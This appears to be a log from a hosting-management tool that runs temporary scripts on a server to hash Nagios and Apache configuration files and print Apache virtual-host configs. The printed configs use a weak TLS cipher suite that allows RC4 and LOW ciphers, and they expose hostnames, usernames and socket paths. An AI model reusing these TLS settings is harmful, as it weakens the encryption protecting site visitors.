[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2025-12-26 13:59:56: 

PUT: /tmp/pkp709140

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-26 13:59:56: 

chmod 755 /tmp/pkp709140; /tmp/pkp709140; rm /tmp/pkp709140

2025-12-26 13:59:56: 
(gzipped output)


MD5(/usr/local/nagios/etc/objects/commands.cfg)= 01bde29e474c65888f3198db6533647f
MD5(/usr/local/nagios/etc/objects/contacts.cfg)= c5e045a98012465016e36602cd0f1eab
MD5(/usr/local/nagios/etc/objects/timeperiods.cfg)= 9e9c822c634255dbed808491e0089296
MD5(/usr/local/nagios/etc/objects/templates.cfg)= dc3266c6bb8ce169d7e6d194d7b1e72d
MD5(/usr/local/nagios/etc/objects/pkp.cfg)= 4342b5a6384f866613f3d6a8132a70e2
MD5(/usr/local/nagios/etc/objects/hostgroup.cfg)= 8fd8035105e240bc8631a4ed1a2baab7
MD5(/usr/local/nagios/etc/objects/localhost.cfg)= 1ed8753ee170fda2d6a1e91b181284e9
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca


2025-12-26 13:59:56: 

PUT: /tmp/pkp889779

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-26 13:59:56: 

chmod 755 /tmp/pkp889779; /tmp/pkp889779; rm /tmp/pkp889779

2025-12-26 13:59:56: 


status=ok


2025-12-26 13:59:56: 

PUT: /tmp/pkp618618

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-26 13:59:56: 

chmod 755 /tmp/pkp618618; /tmp/pkp618618; rm /tmp/pkp618618

2025-12-26 13:59:56: 
2025-12-26 13:59:56: 

PUT: /tmp/pkp345563

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/ports.conf')
    show_file('/etc/apache2/apache2.conf')
    show_file('/etc/apache2/sites-available/hostz_aries_org.conf')
    show_file('/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf')
    show_file('/etc/apache2/sites-available/stoughton_www_link.conf')
    show_file('/etc/apache2/sites-available/default-ssl.conf')
    show_file('/etc/apache2/sites-available/000-default.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-26 13:59:56: 

chmod 755 /tmp/pkp345563; /tmp/pkp345563; rm /tmp/pkp345563

2025-12-26 13:59:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf	274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	Listen 443
</IfModule>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf	7178
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#	/etc/apache2/
#	|-- apache2.conf
#	|	`--  ports.conf
#	|-- mods-enabled
#	|	|-- *.load
#	|	`-- *.conf
#	|-- conf-enabled
#	|	`-- *.conf
# 	`-- sites-enabled
#	 	`-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default

#
# The directory where shm and other runtime files will be stored.
#

DefaultRuntimeDir ${APACHE_RUN_DIR}

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>

<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

#<Directory /srv/>
#	Options Indexes FollowSymLinks
#	AllowOverride None
#	Require all granted
#</Directory>




# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>


#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hostz_aries_org.conf	1872

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf	1656

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/stoughton_www_link.conf	1743
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf	4573
<VirtualHost *:443>
	ServerAdmin webmaster@localhost

	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

	#   SSL Engine Switch:
	#   Enable/Disable SSL for this virtual host.
	SSLEngine on

	#   A self-signed (snakeoil) certificate can be created by installing
	#   the ssl-cert package. See
	#   /usr/share/doc/apache2/README.Debian.gz for more info.
	#   If both key and certificate are stored in the same file, only the
	#   SSLCertificateFile directive is needed.
	SSLCertificateFile      /etc/ssl/certs/ssl-cert-snakeoil.pem
	SSLCertificateKeyFile   /etc/ssl/private/ssl-cert-snakeoil.key

	#   Server Certificate Chain:
	#   Point SSLCertificateChainFile at a file containing the
	#   concatenation of PEM encoded CA certificates which form the
	#   certificate chain for the server certificate. Alternatively
	#   the referenced file can be the same as SSLCertificateFile
	#   when the CA certificates are directly appended to the server
	#   certificate for convinience.
	#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt

	#   Certificate Authority (CA):
	#   Set the CA certificate verification path where to find CA
	#   certificates for client authentication or alternatively one
	#   huge file containing all of them (file must be PEM encoded)
	#   Note: Inside SSLCACertificatePath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCACertificatePath /etc/ssl/certs/
	#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt

	#   Certificate Revocation Lists (CRL):
	#   Set the CA revocation path where to find CA CRLs for client
	#   authentication or alternatively one huge file containing all
	#   of them (file must be PEM encoded)
	#   Note: Inside SSLCARevocationPath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCARevocationPath /etc/apache2/ssl.crl/
	#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl

	#   Client Authentication (Type):
	#   Client certificate verification type and depth.  Types are
	#   none, optional, require and optional_no_ca.  Depth is a
	#   number which specifies how deeply to verify the certificate
	#   issuer chain before deciding the certificate is not valid.
	#SSLVerifyClient require
	#SSLVerifyDepth  10

	#   SSL Engine Options:
	#   Set various options for the SSL engine.
	#   o FakeBasicAuth:
	#    Translate the client X.509 into a Basic Authorisation.  This means that
	#    the standard Auth/DBMAuth methods can be used for access control.  The
	#    user name is the `one line' version of the client's X.509 certificate.
	#    Note that no password is obtained from the user. Every entry in the user
	#    file needs this password: `xxj31ZMTZzkVA'.
	#   o ExportCertData:
	#    This exports two additional environment variables: SSL_CLIENT_CERT and
	#    SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
	#    server (always existing) and the client (only existing when client
	#    authentication is used). This can be used to import the certificates
	#    into CGI scripts.
	#   o StdEnvVars:
	#    This exports the standard SSL/TLS related `SSL_*' environment variables.
	#    Per default this exportation is switched off for performance reasons,
	#    because the extraction step is an expensive operation and is usually
	#    useless for serving static content. So one usually enables the
	#    exportation for CGI and SSI requests only.
	#   o OptRenegotiate:
	#    This enables optimized SSL connection renegotiation handling when SSL
	#    directives are used in per-directory context.
	#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
	<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
		SSLOptions +StdEnvVars
	</FilesMatch>
	<Directory /usr/lib/cgi-bin>
		SSLOptions +StdEnvVars
	</Directory>
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf	1286
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
</VirtualHost>




(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
